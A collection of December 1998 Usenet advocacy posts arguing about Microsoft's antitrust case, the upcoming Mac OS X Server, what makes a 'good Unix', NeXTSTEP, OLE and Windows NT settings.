Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
References: <36717987.21076075@news2.asan.com> <g4Wc2.1137$c5.5119@news14.ispnews.com> <3676F1A9.8B679633@digiscape.com> <3676F666.9EB0E40C@ericsson.com>
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Michael Peck wrote:
> Chris Welch wrote:
>
> > People don't care. I don't see people saying 'boycott MS' because it
> > will force them to use a real OS were they'll have to have atleast a
> > basic understanding of their computer. The general public is stupid and
> > as long as they have pretty colors to keep them happy, it won't change.
>
> In other words...people are getting what they want, regardless of your
> opinion.
>
> How disgusting. Since when have we been letting people just make their
> own damned decisions? Absolutely nauseating. Reminds me of all that
> "Give me Liberty or give me death!" crap the Founding Fathers were
> always spouting.
>
> MJP
But people are not allowed to make an educated choice due to anti competitive
behavior in the marketplace. As an example, I make a small
HTML editor which is as far as I can tell better than FrontPage Express.
However since FrontPage Express is installed by default on all Windows 98
systems many users will not even look at alternatives. So yes this is OK for
the users as they get what they want given the amount of information they
have, but it is very bad for the industry as it stifles innovation and
competition.
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
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References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
<72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
<01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net>
<%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com>
<732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com>
<739lhb$g1r@news1.panix.com> <SCOTT.98Nov30212634@slave.doubleu.com>
<F3AoEs.4oL@T-FCN.Net> <SCOTT.98Dec3001200@slave.doubleu.com>
<F3ECEw.AzA@T-FCN.Net> <746o4g$dol$1@nnrp1.dejanews.com>
<7477vl$kf5$6@msunews.cl.msu.edu> <36711215.0@stan.astra.co.uk>
Message-ID: <7YCd2.4401$f97.3735@news.rdc1.sdca.home.com>
Date: Wed, 16 Dec 1998 00:14:59 GMT
NNTP-Posting-Date: Tue, 15 Dec 1998 16:14:59 PDT
Organization: @Home Network
In <36711215.0@stan.astra.co.uk> mmalcolm crawford wrote:
> In <7477vl$kf5$6@msunews.cl.msu.edu>
spammers@ruin.the.internet.channelu.com
> wrote:
[ snip OSX dialog ]
>
> > I will predict one thing if Apple bundles WO4 with OS X and prices it at
> 1.5K
> > or higher AND doesn't show OS X with SMP kernel and SMP boxes by
> > at the worst MacWorld 99 that Server will effectively be dead.
> >
> I predict it won't be.
>
>
Is this another of your predictions like OS X server shipping Nov99? Or
just another veiled attempt to direct discussion in some personal direction?
-r
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 16 Dec 1998 00:31:59 GMT
Organization: Primenet (602)416-7000
Message-ID: <756v1v$ls3$1@nnrp02.primenet.com>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net>
<19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <F40J4r.4FE@T-FCN.Net> <7563lg$89l$1@nnrp03.primenet.com> <F40s2z.9EC@T-FCN.Net>
Maury Markowitz <maury@remove_this.istar.ca> wrote:
: In <7563lg$89l$1@nnrp03.primenet.com> John Jensen wrote:
: > I think something like this could satisfy Apple's goals ... and satisfy
: > users of the more hackerly nature.
: I've asked it before and I'll ask it again, will the Linux community
: accept a commercial non-open system as the basis for the application
: support?
I see a line between things value-added and infrastructure. I don't think
proprietary systems would be accpted by the Linux mainstream as a central
technology. On the other hand, how central is Oracle in an enterprise
situation?
Anyway, I wasn't really speaking to converting Linux users to be Apple
customers. I was looking at a way to allow Apple customers the benefits
of Linux in addition to the benefits they have with Apple technolgies.
To come up with a business case for Apple to use Linux, you have to come
up with a way for them to move boxes.
JOhn
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
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References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com> <SCOTT.98Dec11174346@slave.doubleu.com>
Message-ID: <qcDd2.4402$f97.3735@news.rdc1.sdca.home.com>
Date: Wed, 16 Dec 1998 00:32:22 GMT
NNTP-Posting-Date: Tue, 15 Dec 1998 16:32:22 PDT
Organization: @Home Network
In <SCOTT.98Dec11174346@slave.doubleu.com> Scott Hess wrote:
> In article <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) writes:
> ex-NeXT personalities participating in comp.os.linux.advocacy...
>
> Scott Hess
>
> Flattered to be in that company! But, any of my postings to
> col.advocacy were follow-ups to cross-posting, I _today_ do most (95%)
> of my paying work on OpenStep/Mach4.2 (and thus "ex-NeXT"
> questionable), and I'll be converting over to Rhapsody or whatever as
> soon as it's a reasonable thing to do (meaning my uptime goes to a
> week or so). So I'm on the wrong list.
>
> Can an OPEN Apple be far behind?
>
> That said, I am very strongly considering an OpenSource release of
> some of the non-paying stuff I've been working on. My notion is to do
> it as "Public Programming", following from "Public Radio" and "Public
> Television". Rather than pay for specific things I do, I'm going to
> see whether I can get people to pay me for doing the types of things I
> do. [For National Public Radio (in the US), this is like saying that
> you send them money so they keep providing interesting programs - but
> you _don't_ send them money for "Car Talk". The underside being that
> you can't withhold money from "A Prairie Home Companion". (I'm _from_
> Minnesota, so don't flame _me_.)]
>
> But even if I OpenSource my personal work, work that's geared towards
> letting me explore interesting nooks of the system, work that, at
> best, only amounts to 300-400 man-hours a year, I don't expect that
> we'll be OpenSourcing the software that pays the bills. OpenSource is
> amazing, OpenSource is _huge_, but compared to the software industry
> as a whole, OpenSource _is_ on the margins. It is. That cannot be
> denied by any rational person.
>
.. you're not alone in trying to morally recoup your investment in ex-NeXT
apps. The PBS metaphor for your software distribution has the ethical
advantage of recouping some financial investment as well. It's refreshing
to see NeXT ethics (NeXT was a very ethical OS) transfer to the public
distribution space.
> I do use Linux on my servers, though,
>
This is the piece of OPENSTEP that really blew my confindence in Apple's
ability to transition to the Server space. Linux is one steamlined,
high-performance server OS. Apple could very well have sized up the server
space and met server demands with products. Instead, the ex-NeXT monolithic
OS approach prevailed with one-size fits all. I expected marketing to
proceed with fine tuned systems to fullfill marketspaces it could address,
all as separate identity products.
And I'll bet Apple product offers no way to get you to replace Linux anytime
soon...
-r
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Date: 16 Dec 1998 00:43:11 GMT
Organization: San Diego State University
Message-ID: <756vmv$76p$1@hole.sdsu.edu>
References: <36717987.21076075@news2.asan.com> <g4Wc2.1137$c5.5119@news14.ispnews.com> <3676F1A9.8B679633@digiscape.com> <3676F666.9EB0E40C@ericsson.com>
Michael Peck (michael.peck@ericsson.com) wrote:
: How disgusting. Since when have we been letting people just make their
: own damned decisions? Absolutely nauseating. Reminds me of all that
: "Give me Liberty or give me death!" crap the Founding Fathers were
: always spouting.
It's silly to fault people for choosing Windows--as tempting as it
can be for me, no fan whatever of 95 or NT. The problem is that,
thanks in _part_ to Microsoft, it's impossible for me personally
to find the computing solution that _I_ want.
There are choices, but choices between evils, and worse--because of
the climate and marketplace for which Microsoft is largely responsible--
little prospect of _new_ choices emerging. No amount of time will
cure the problems which make (say) Linux, or MacOS, unsuitable
in _some_ way or other as replacements for ubiquitous Windows.
BeOS is a young stripling in comparison, and even it is years old.
This leaves me with the unsatisfying prospect of having to choose
something, anything, and devoting time to working around
that OS's limitations. Not very heartening.
So I try not to comfort myself with delusions that the the computer-
buying public at large has somehow been "duped" into buying Windows,
or that they're too stupid to tell that Windows is really crap. But
I _myself_ happen to think that for _my_ purposes Windows is inferior,
but then so is everything else--and there's no hope for anything better
to emerge, so I'll just have to keep plugging with the inadequate
choices I'm stuck with.
-tomlinson
--
Ernest S. Tomlinson - San Diego State University
------------------------------------------------
Illa gravis oculos conata attollere rursus
deficit; infixum stridit sub pectore vulnus.
Message-ID: <3677050B.69FE4314@nstar.net>
Date: Tue, 15 Dec 1998 18:55:39 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com> <slrn77dv97.mnj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Matt Kennel wrote:
[cut]
> :We've been around this one, and I think we both know that advocacy isn't
> :a part of this discussion, Chuck. If preferences determined what were
> :included in Mac OS X, would you include Carbon and/or the Blue Box in
> :the first place? Of course not.
>
> Sure, why not?
So, why not X?
> :One word, Chuck: remotability. Does Mac OS X have it? No.
>
> NeXTSTEP did. The lack of it in Mac OS X is an unfortunate
> consequence of obstinate corporate ''partners'', and may be rectified.
Apple really has no right to complain about "obstinate corporate
'partners'".
[cut]
> Are you starting to try to understand why there is so much ''nostalgia'' for
> NeXTSTEP still?? As a technological software design, it was very Right very
> long ago.
>
> Unfortunately, as a business....
I've seen a lot of good technology that I never wanted to use. I've
tasted a lot of meals with good ingredients but built from the wrong
recipe.
Heck, I've seen a lot of women with snazzy parts...but I doubt I'd want
to marry most of them... :-)
[insert any other viciously stupid analogy here :-)]
MJP
Message-ID: <367705A9.2E8E1132@nstar.net>
Date: Tue, 15 Dec 1998 18:58:17 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com> <SCOTT.98Dec11174346@slave.doubleu.com> <qcDd2.4402$f97.3735@news.rdc1.sdca.home.com>
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Rex Riley wrote:
> .. you're not alone in trying to morally recoup your investment in ex-NeXT
> apps. The PBS metaphor for your software distribution has the ethical
> advantage of recouping some financial investment as well. It's refreshing
> to see NeXT ethics (NeXT was a very ethical OS) transfer to the public
> distribution space.
Unfortunately, "Public Radio" and "Public Television" use "Public" with
a capital 'P', meaning that they're heavily tax-subsidized, and subject
largely to the artistic outlook of, say, the National Endowment for the
Arts.
[cut]
MJP
From: jansens_at_ibm_dot_net (Karel Jansens)
Message-ID: <L9BY9tzSDwrQ-pn2-CZSLpCOuJwP4@slip139-92-48-248.br.be.ibm.net>
Newsgroups: comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: M$: Really the Best Talent?
References: <36717987.21076075@news2.asan.com> <3675528A.5C1F756F@cadence.com> <36755e23.17903984@news2.asan.com> <L9BY9tzSDwrQ-pn2-kWLxrXEu1Wsk@localhost> <755rm4$vn$1@bartlet.df.lth.se>
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Date: 15 Dec 1998 22:40:50 GMT
Organization: IBM.NET
On Tue, 15 Dec 1998 14:28:20, cb@bartlet.df.lth.se (Christian Brunschen)
wrote:
> In article <L9BY9tzSDwrQ-pn2-kWLxrXEu1Wsk@localhost>,
> Karel Jansens <jansens_at_ibm_dot_net> wrote:
>
> >As for better or worse than Win9x: I think even CP/M multitasked better
> >than Win9x, but that's my personal opinion, of course.
>
> You must mean MP/M, of course.
>
> CP/M was, of course, the 'Control Program for Microprocessors'; and MP/M
> was the 'Multiuser Program for Microprocessors' or somesuch. Basically, it
> offered multitasking, multiuser functionality on a single Z80 box. Yes, up
> to 16 (I think) distinct users working on one little Z80 machine, each
> living in their own CP/M-like environment.
>
> All of this is vague information from memory; would someone who _knows_
> please add some facts ? :)
>
No, I really DID mean CP/M. :^)
Karel Jansens
jansens_at_ibm_dot_net
=======================================================
"I'm just more practically gifted," said Wobbler.
"You mean you just press keys until something happens."
"Well? Often things do happen."
(Johnny and the Dead - Terry Pratchett)
=======================================================
From: davewang@cslab.kecl.ntt.co.jp.DELETE.delete.DELETE@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Followup-To: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Date: 16 Dec 1998 01:41:58 GMT
Organization: University of Maryland, College Park
Message-ID: <757356$l89$3@hecate.umd.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <7523tc$co2$7@hecate.umd.edu> <756j4t$ipl$1@flotsam.uits.indiana.edu>
Gregory Loren Hansen (glhansen@copper.ucs.indiana.edu) wrote:
: David T. Wang <davewang@cslab.kecl.ntt.co.jp.DELETE.delete.DELETE@Glue.umd.edu> wrote:
: >Joe Ragosta (joe.ragosta@dol.net) wrote:
: >: In article <3670B38C.812ACA60@nstar.net>, "Michael J. Peck"
: >: <mjpeck@nstar.net> wrote:
: >: > Gregory Loren Hansen wrote:
: >: >
: >: > [cut]
: >: >
: >: > > If MacOS X is a good Unix, it will diffuse into the Unix world. Maybe
: >: > > faster because Apple is bigger than any single Unix vendor.
: >: >
: >: > MacOS X could be a good Unix, but it probably won't. The FAQ stresses
: >: > that it is not, in Apple's opinion, a traditional Unix system. That's
: >: > not conclusive, but it certainly raises some disappointing
: >: > possibilities.
: >
: >: Of course, "not a traditional Unix" doesn't imply that it won't be a good Unix.
: >
: >: AFAIK, Mac OS X will have full BSD Unix support.
: >
: >: My guess is that it will be optimized for ease of use. If you want balls
: >: to the walls maximum performance, you're probably better off with a system
: >: like Linux or a commercial Unix. But if you want a combination of good
: >: performance, ease of use, and features, it should be a good alternative.
: >
: >What the heck is a "good unix"? What is a "bad unix"? And other than
: >the GUI (which NeXTStep already had) What "ease of use" features could
: >they add to "unix"? This is all very strange to me.
: I think in the context of this discussion, a "good Unix" is one that an
: administrator with experience in Linux, HP-UX, Solaris, SCO, and/or other
: common Unices can sit down in front of and, well, administer. He should
: recognize the file system from the first time he types ls. It should
: have all the tools he is familiar with, the tools should be in all the
: places he expects to find them, and they should act the way he expects
: them to act.
: It is said (in the book _The Tao of Programming_) that a program should
: follow the "law of least astonishment". That means the program should act
: in a manner that astonishes the user the least. A Unix should also follow
: the law of least astonishment, acting in a manner that astonishes the
: administrator the least. BSD and NextStep are a good foundation. If
: Apple's Unix will only follow the law of least astonishment, I'm sure it
: will be a good Unix in any sense you care to name.
Well, as you might have discovered, the definition of a "good unix"
isn't universal. I've used with a few year's experience Solaris/SunOS,
AIX, NeXTStep, and a little bit of Linux and FreeBSD. What I would want
would be, as Mr Peck as put it, availability of apps, or, as I might
put it, ease of porting. (you may call it law of least astonishment if
you like) various unices have their respective strengths and weaknesses,
but It all comes down to a few things as far as I am concerned.
1. Stability.
(I used to be able to take down SunOS with some regularity. try as I
might, I cannot take down AIX, nor have I seen anyone take down AIX,
and that's with some serious pounding.)
2. Availability of Apps/ease of porting.
If we're talking about NeXTStep, it wasn't very good in this aspect.
Perhaps you can attribute this to my lack of hacking skills, but I
had more difficult time working to get things such as Perl running
properly under NeXTStep than Solaris/SunOS. I complained to a
friend of mine, and he muttered "bastardized BSD". However, this
was a good 4 years ago, so things could've changed dramatically for
better/worse.
3. Commonality with other unices. This is also sort of tied to your
"law of least astonishment" thing above. If I used some features
that I like in most unices, I'd like that to be there when I use
the "good unix". What immediately breaks MacOS X with other unices
is ofcourse the GUI. While this is necessary for the MacOS market,
it separates MacOS X from other "good unix".
IMO, even if my criteria are accepted, we still cannot judge MacOS X
as a "good unix" or not, since all we have to look at is NeXTStep,
and Apple/SJ may have added/removed features that would make certain
points completely moot. I think that all we can do is wait and see.
: --
: "Besides, it doesn't take much creativity or courage to figure out that
: something which reads 'Danger: Flammable' on the label might be fun to
: fool about with." -- Joris van Dorp
--
davewang@kagututi.kecl.ntt.co.jp.I.like.green.eggs.and.ham,not.spam
All statements are personal opinions
Not speaking for NTT or University of Maryland
Kyoto, Japan.
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 16 Dec 1998 01:11:33 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <7571c5$os3$1@blue.hex.net>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <36742159.EA45364E@nstar.net> <7528dr$rfe$1@hecate.umd.edu> <3674BBCA.7BB77907@nstar.net> <36752AC8.6CD4066C@tone.ca>
NNTP-Posting-Date: 16 Dec 1998 01:11:33 GMT
On Mon, 14 Dec 1998 10:12:09 -0500, Michael <michael@tone.ca> wrote:
>"Michael J. Peck" wrote:
>
>> > IMO, defining a "good unix" from this standpoint
>> > doesn't work, because then every unix would be a "good unix".
>>
>> No, not so. In any case I suspect it will exclude Mac OS X, which was
>> the point.
>
>I expect your right about MacOSX from a unix persons point of view.
Which was not an *entirely* fair thing to do. It smacks of the same
sort of thing as trying to prevent NT from looking like POSIX.
Microsoft has done an entirely good job of making NT's "POSIX layer"
into a *horrible* implementation.
That didn't require that the UNIX world work to define POSIX so as to
make NT look bad; Microsoft did it all by themselves.
>On the other hand my point of view is that a product will be a good unix
>when it has a sufficiently good gui that the average user can use it
>without reference to command lines. This will make MacOSX the first good
>unix so far, when it arrives.
What makes something a "good UNIX" is when it has the "character" of a
reasonably "rich" UNIX implementation.
The point is to have available decent shells and a rich set of tools (as
was enumerated in perhaps *too* much detail) that may be composed
together to build powerful applications.
Your point of view is quite different, and, I would argue, not about
having a "good UNIX."
What *you're* after is a different thing, namely a "low maintenance
system" where there is little or no need for users to *need* to intrude
into low level OS details.
It would be of value to have a UNIX system that had the "low
maintenance" property. This would allow UNIX to be deployed into places
where there aren't a lot of sophisticated users to do maintenance.
Some Linux projects (GNOME, KDE, Linuxconf leap immediately to mind...)
are building tools to reduce the amount of overall understanding that is
needed on the part of users. They are not there yet.
And there is controversy over whether it is appropriate to try to "dumb
down" the need for understanding. That is *certainly* true if we want
to build a system that Grandma, who doesn't want to become a UNIX system
administrator, can use. There is also a need for a population of
"cognoscenti." Linux has, thus far, largely attracted people of the
latter variety. It will take some substantial effort to build a
"Grandma-friendly" system.
--
"I don't know what OS we will be running in 40 years, but it will probably
be called UNIX...." -- Chris Mikkelson <mikk0022@maroon.tc.umn.edu>
cbbrowne@hex.net- <http://www.ntlug.org/~cbbrowne/lsf.html>
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 16 Dec 1998 01:17:45 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn77e2hk.mnj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com> <slrn77dv97.mnj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <3677050B.69FE4314@nstar.net>
NNTP-Posting-Date: 16 Dec 1998 01:17:45 GMT
On Tue, 15 Dec 1998 18:55:39 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
:Matt Kennel wrote:
:
:[cut]
:
:> :We've been around this one, and I think we both know that advocacy isn't
:> :a part of this discussion, Chuck. If preferences determined what were
:> :included in Mac OS X, would you include Carbon and/or the Blue Box in
:> :the first place? Of course not.
:>
:> Sure, why not?
:
:So, why not X?
Because the whole mass of stuff surrounding X, server + clients is something
that NeXT technology did signficantly better. That wasn't true with
gzip, tar, perl, blah blah blah.
I like Unix, but I bear no torch for X.
:> :One word, Chuck: remotability. Does Mac OS X have it? No.
:>
:> NeXTSTEP did. The lack of it in Mac OS X is an unfortunate
:> consequence of obstinate corporate ''partners'', and may be rectified.
:
:Apple really has no right to complain about "obstinate corporate
:'partners'".
Overall I'd agree. But in this specific case Apple has been kissing
their butt---delaying MacOS X and doing Carbon saved Adobe from a
really major problem with TIFFany---and in gratitude Adobe screws them
on DPS. (i.e. "DPS is not for sale at any price, and we're
terminating it.")
:> Are you starting to try to understand why there is so much ''nostalgia'' for
:> NeXTSTEP still?? As a technological software design, it was very Right very
:> long ago.
:>
:> Unfortunately, as a business....
:
:I've seen a lot of good technology that I never wanted to use. I've
:tasted a lot of meals with good ingredients but built from the wrong
:recipe.
If you didn't like NeXTSTEP, I don't think you'd like MacOS X.
But, except for the lack of manufacturer-supported X, the reason must
be larger than "Not Being a Good Unix".
So: what do you want?
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "do || !do; try: Command not found"
* /sbin/yoda --help
From: "Martin Ozolins" <Martin.Ozollins@cwusa.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Tue, 15 Dec 1998 17:21:15 -0800
Organization: CampusCWIX
Message-ID: <7571qh$q0a$1@news.campus.mci.net>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu> <913564390.148534@soam.wwnet.net> <36750AB4.AE89FAE9@ix.netcom.com>
I guess that's just an example of unfair business practices. MS made their
code available and prevented all the other developers from making theirs
available.
Tim Kelley wrote in message <36750AB4.AE89FAE9@ix.netcom.com>...
>Sean wrote:
>
>>
>> That's just out and out not true.
>>
>> Windows apps are very extendible. Ever hear of OLE2? It's very
powerful.
>> Let's I want to add flowcharting capability to Word, all I have to do is
>> install ABC Flowcharter. During ABC's installation, I get a prompt
asking
>> if I want to add Flowcharter's buttons to MS Office. If I say "Yes", I
get
>> a MicroGrafix's tool bar in my MS office apps. Then all I need to do is
>> click on one of the buttons an I get full flowcharting capabilities in
Word.
>> It's even more flexible than that. I can distribute my word document
with
>> the embedded flowchart to people with Word but not ABC Flowcharter. They
>> can read the file with no loss of data. Simply by embedding the ABC
>> Flowchart in my Word document, I've extended Word so that it can read
ABC's
>> file formats. I haven't seen anything like OLE on UNIX systems.
>
>So, does ABC Flowcharter support every other word processor and
>spreadsheet out there in this way as well?
>
>The answer is of course no, and that should tell you what an absolute
>mess this approach is.
>
>
>--
>Tim Kelley
>tkelley@ix.netcom.com
>New Orleans, LA
From: "Dmitry Streblechenko" <dmitrys@-NoSpam-.asu.edu>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Tue, 15 Dec 1998 11:14:42 -0700
Organization: Arizona State University
Message-ID: <7568im$3pa$1@news.asu.edu>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu> <3673e51c.3291382@news2.asan.com> <3674B98C.45BC948D@brown.edu>
>When exactly did I contend that MS apps and OS have no value? I know that the
>apps are functional for many users. I'm also sure that their UI research is
>extensive. That has little to do with my contention that MS apps are not
>extensible by design. OLE is a horrible technology. Have you ever tried to
>write a large application using it? It's bloated and a resource hog not to
>mention slow. It's also totally nonportable.
Yes I have. Bloated? I bet you used VB. Slow? Because _your_ application is
slow does not mean all OLE apps are slow. Why blame MS for your own
faults?
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Wed, 16 Dec 1998 01:19:30 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <7571r1$ajb$1@nnrp1.dejanews.com>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <750j9i$nbh$1@wuff.mayn.de> <3673e424.3043095@news2.asan.com> <3674BA41.9F874D97@brown.edu> <3675851d.1290680718@news.isomedia.com> <756bmq$mgv$1@nnrp1.dejanews.com> <3681c16d.1371656890@news.isomedia.com>
In article <3681c16d.1371656890@news.isomedia.com>,
sang@isomedia.com.remove.this.com (Sang K. Choe) wrote:
> On Tue, 15 Dec 1998 19:01:47 GMT, "Charles Swiger" <chuck@codefab.com>
> wrote:
[ ... ]
>>> I'm not sure where you got that idea that changing DNS setting under
>>> NT requires a reboot, but this doesn't. Nor does changing routing
>>> tables.
>>
>> Under NT 4.0SP3:
>>
>> Start->Settings->Control Panel,
>> Network->Protocols->TCP/IP->Properties WINS Address Tab,
>> toggle "Enable DNS for Windows Resolution" checkbox twice (to
>> restore to original value), hit Apply, Okay, Close.
>
> DNS != WINS.
True. But that checkbox qualifies as "changing [a?] DNS setting". In fact,
you might observe that this checkbox probably belongs under the DNS tab.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Message-ID: <petrichF41BI1.68n@netcom.com>
Organization: Netcom
References: <36717987.21076075@news2.asan.com> <g4Wc2.1137$c5.5119@news14.ispnews.com> <3676F1A9.8B679633@digiscape.com> <3676F666.9EB0E40C@ericsson.com>
Date: Wed, 16 Dec 1998 01:44:25 GMT
Sender: petrich@netcom18.netcom.com
In article <3676F666.9EB0E40C@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
>How disgusting. Since when have we been letting people just make their
>own damned decisions? [other such whining deleted...]
We don't let muggers make their own decisions on whether to mug
other people, don't we?
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
From: "Bjørnar Bolsøy" <bbolsoey@rl.telia.no>
Subject: Re: Registry Synchronization?
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com>
Message-ID: <01be28e2$6095c2e0$35f0ccc3@default>
Date: 16 Dec 98 01:54:13 GMT
Joe Cosby <joecosby@rycnun.seatac.net> wrote:
>
> To me, a monolithic registry is the height of stupidity. It is one
> of the main reasons I hope I never wind up buying a Wintel.
